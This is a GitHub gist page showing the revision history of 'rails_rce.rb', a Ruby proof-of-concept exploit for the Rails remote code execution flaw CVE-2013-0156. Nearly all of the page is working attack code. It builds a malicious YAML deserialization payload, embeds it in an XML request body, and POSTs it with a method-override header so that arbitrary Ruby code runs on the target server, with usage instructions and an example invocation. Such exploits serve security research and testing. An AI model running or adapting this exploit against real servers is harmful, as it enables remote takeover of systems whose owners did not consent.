Skip to content

Instantly share code, notes, and snippets.

@faustman
Forked from postmodern/rails_rce.rb
Created January 22, 2013 12:38
Show Gist options
  • Save faustman/4594346 to your computer and use it in GitHub Desktop.
Save faustman/4594346 to your computer and use it in GitHub Desktop.

Revisions

  1. @postmodern postmodern revised this gist Jan 13, 2013. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -20,7 +20,7 @@
    #
    # ## Example
    #
    # $ rails_rce.rb http://localhost:3000/secrets/search secret "puts 'lol'"
    # $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'"
    #
    # ### config/routes.rb
    #
  2. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -122,14 +122,14 @@ def exploit(url,payload,target=:rails3)
    end

    if $0 == __FILE__
    unless ARGV.length == 3
    unless ARGV.length >= 2
    $stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]"
    exit -1
    end

    url = ARGV[0]
    payload = ARGV[1]
    target = ARGV[2].to_sym
    target = ARGV.fetch(2,:rails3).to_sym

    print_info "POSTing #{payload} to #{url} ..."
    response = exploit(url,payload,target)
  3. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 1 addition and 3 deletions.
    4 changes: 1 addition & 3 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -111,16 +111,14 @@ def exploit(url,payload,target=:rails3)
    <exploit type="yaml">#{yaml.html_escape}</exploit>
    }.strip

    response = http_post(
    return http_post(
    :url => url,
    :headers => {
    :content_type => 'text/xml',
    :x_http_method_override => 'get'
    },
    :body => xml
    )

    return response
    end

    if $0 == __FILE__
  4. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -8,7 +8,6 @@
    #
    # ## Caveats
    #
    # * Does not support Rails 2.
    # * Does not support Ruby 1.8.7.
    #
    # ## Synopsis
  5. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -126,13 +126,13 @@ def exploit(url,payload,target=:rails3)

    if $0 == __FILE__
    unless ARGV.length == 3
    $stderr.puts "usage: #{$0} URL [rails2|rails3] RUBY"
    $stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]"
    exit -1
    end

    url = ARGV[0]
    target = ARGV[1].to_sym
    payload = ARGV[2]
    payload = ARGV[1]
    target = ARGV[2].to_sym

    print_info "POSTing #{payload} to #{url} ..."
    response = exploit(url,payload,target)
  6. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 55 additions and 43 deletions.
    98 changes: 55 additions & 43 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -75,59 +75,71 @@
    include Ronin::Network::HTTP
    include Ronin::UI::Output::Helpers

    unless ARGV.length == 2
    $stderr.puts "usage: #{$0} URL RUBY"
    exit -1
    def escape_payload(payload,target=:rails3)
    case target
    when :rails3 then "foo\n#{payload}\n__END__\n"
    when :rails2 then "foo\nend\n#{payload}\n__END__\n"
    else
    raise(ArgumentError,"unsupported target: #{target}")
    end
    end

    url = ARGV[0]
    code = ARGV[1]

    escaped_code = %{foo
    unless @executed
    #{code}
    @executed = true
    def wrap_payload(payload)
    "(#{payload}; @executed = true) unless @executed"
    end
    __END__
    }

    yaml = %{
    --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
    ? #{escaped_code.to_yaml.sub('--- ','').chomp}
    : !ruby/object:OpenStruct
    table:
    :defaults:
    :action: create
    :controller: foos
    :required_parts: []
    :requirements:
    :action: create
    :controller: foos
    :segment_keys:
    def exploit(url,payload,target=:rails3)
    escaped_payload = escape_payload(wrap_payload(payload),target)
    encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp

    yaml = %{
    --- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
    ? #{encoded_payload}
    : !ruby/struct
    defaults:
    :action: create
    :controller: foos
    required_parts: []
    requirements:
    :action: create
    :controller: foos
    segment_keys:
    - :format
    modifiable: true
    }.strip
    }.strip

    xml = %{
    xml = %{
    <?xml version="1.0" encoding="UTF-8"?>
    <exploit type="yaml">#{yaml.html_escape}</exploit>
    }.strip
    }.strip

    response = http_post(
    :url => url,
    :headers => {
    :content_type => 'text/xml',
    :x_http_method_override => 'get'
    },
    :body => xml
    )

    return response
    end

    print_info "POSTing #{code} to #{url} ..."
    if $0 == __FILE__
    unless ARGV.length == 3
    $stderr.puts "usage: #{$0} URL [rails2|rails3] RUBY"
    exit -1
    end

    response = http_post(
    :url => url,
    :headers => {
    :content_type => 'text/xml',
    :x_http_method_override => 'get'
    },
    :body => xml
    )
    url = ARGV[0]
    target = ARGV[1].to_sym
    payload = ARGV[2]

    print_debug "Received #{response.code} response"
    print_info "POSTing #{payload} to #{url} ..."
    response = exploit(url,payload,target)

    case response.code
    when '200' then print_info "Success!"
    when '404' then print_error "Not found"
    when '500' then print_error "Error!"
    case response.code
    when '200' then print_info "Success!"
    when '500' then print_error "Error!"
    else print_error "Received response code #{response.code}"
    end
    end
  7. @postmodern postmodern revised this gist Jan 12, 2013. 1 changed file with 9 additions and 2 deletions.
    11 changes: 9 additions & 2 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -8,7 +8,8 @@
    #
    # ## Caveats
    #
    # * Executes the code four times.
    # * Does not support Rails 2.
    # * Does not support Ruby 1.8.7.
    #
    # ## Synopsis
    #
    @@ -82,7 +83,13 @@
    url = ARGV[0]
    code = ARGV[1]

    escaped_code = "foo; #{code}\n__END__\n"
    escaped_code = %{foo
    unless @executed
    #{code}
    @executed = true
    end
    __END__
    }

    yaml = %{
    --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
  8. @postmodern postmodern revised this gist Jan 11, 2013. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -67,6 +67,7 @@
    #

    require 'ronin/network/http'
    require 'ronin/formatting/html'
    require 'ronin/ui/output'
    require 'yaml'

    @@ -102,7 +103,7 @@

    xml = %{
    <?xml version="1.0" encoding="UTF-8"?>
    <exploit type="yaml">#{yaml}</exploit>
    <exploit type="yaml">#{yaml.html_escape}</exploit>
    }.strip

    print_info "POSTing #{code} to #{url} ..."
  9. @postmodern postmodern revised this gist Jan 10, 2013. 1 changed file with 5 additions and 6 deletions.
    11 changes: 5 additions & 6 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -12,7 +12,7 @@
    #
    # ## Synopsis
    #
    # $ rails_rce.rb URL PARAM RUBY
    # $ rails_rce.rb URL RUBY
    #
    # ## Dependencies
    #
    @@ -73,14 +73,13 @@
    include Ronin::Network::HTTP
    include Ronin::UI::Output::Helpers

    unless ARGV.length == 3
    $stderr.puts "usage: #{$0} URL PARAM RUBY"
    unless ARGV.length == 2
    $stderr.puts "usage: #{$0} URL RUBY"
    exit -1
    end

    url = ARGV[0]
    param = ARGV[1]
    code = ARGV[2]
    code = ARGV[1]

    escaped_code = "foo; #{code}\n__END__\n"

    @@ -103,7 +102,7 @@

    xml = %{
    <?xml version="1.0" encoding="UTF-8"?>
    <#{param} type="yaml">#{yaml}</#{param}>
    <exploit type="yaml">#{yaml}</exploit>
    }.strip

    print_info "POSTing #{code} to #{url} ..."
  10. @postmodern postmodern revised this gist Jan 10, 2013. 1 changed file with 5 additions and 6 deletions.
    11 changes: 5 additions & 6 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -8,9 +8,6 @@
    #
    # ## Caveats
    #
    # * Only POST/PUT routes are vulnerable, since XML/YAML is only read from the
    # request body.
    # https://github.com/rails/rails/blob/master/actionpack/lib/action_dispatch/middleware/params_parser.rb#L50
    # * Executes the code four times.
    #
    # ## Synopsis
    @@ -111,10 +108,12 @@

    print_info "POSTing #{code} to #{url} ..."

    response = http_request(
    :method => :post,
    response = http_post(
    :url => url,
    :headers => {:content_type => 'text/xml'},
    :headers => {
    :content_type => 'text/xml',
    :x_http_method_override => 'get'
    },
    :body => xml
    )

  11. @postmodern postmodern created this gist Jan 10, 2013.
    127 changes: 127 additions & 0 deletions rails_rce.rb
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,127 @@
    #!/usr/bin/env ruby
    #
    # Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
    #
    # ## Advisory
    #
    # https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
    #
    # ## Caveats
    #
    # * Only POST/PUT routes are vulnerable, since XML/YAML is only read from the
    # request body.
    # https://github.com/rails/rails/blob/master/actionpack/lib/action_dispatch/middleware/params_parser.rb#L50
    # * Executes the code four times.
    #
    # ## Synopsis
    #
    # $ rails_rce.rb URL PARAM RUBY
    #
    # ## Dependencies
    #
    # $ gem install ronin-support
    #
    # ## Example
    #
    # $ rails_rce.rb http://localhost:3000/secrets/search secret "puts 'lol'"
    #
    # ### config/routes.rb
    #
    # resources :secrets do
    # collection do
    # post :search
    # end
    # end
    #
    # ### app/controllers/secrets_controller.rb
    #
    # def search
    # @secret = secret.find_by_secret(params[:secret])
    #
    # render :json => @secret
    # end
    #
    # ## License
    #
    # Copyright (c) 2013 Postmodern
    #
    # This exploit is free software: you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation, either version 3 of the License, or
    # (at your option) any later version.
    #
    # This exploit is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    # GNU General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this exploit. If not, see <http://www.gnu.org/licenses/>.
    #
    # ## Shoutz
    #
    # drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
    # starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
    # mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule,
    # @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln),
    # @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
    # the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
    # cigarettes off us, SophSec crew and affiliates.
    #

    require 'ronin/network/http'
    require 'ronin/ui/output'
    require 'yaml'

    include Ronin::Network::HTTP
    include Ronin::UI::Output::Helpers

    unless ARGV.length == 3
    $stderr.puts "usage: #{$0} URL PARAM RUBY"
    exit -1
    end

    url = ARGV[0]
    param = ARGV[1]
    code = ARGV[2]

    escaped_code = "foo; #{code}\n__END__\n"

    yaml = %{
    --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
    ? #{escaped_code.to_yaml.sub('--- ','').chomp}
    : !ruby/object:OpenStruct
    table:
    :defaults:
    :action: create
    :controller: foos
    :required_parts: []
    :requirements:
    :action: create
    :controller: foos
    :segment_keys:
    - :format
    modifiable: true
    }.strip

    xml = %{
    <?xml version="1.0" encoding="UTF-8"?>
    <#{param} type="yaml">#{yaml}</#{param}>
    }.strip

    print_info "POSTing #{code} to #{url} ..."

    response = http_request(
    :method => :post,
    :url => url,
    :headers => {:content_type => 'text/xml'},
    :body => xml
    )

    print_debug "Received #{response.code} response"

    case response.code
    when '200' then print_info "Success!"
    when '404' then print_error "Not found"
    when '500' then print_error "Error!"
    end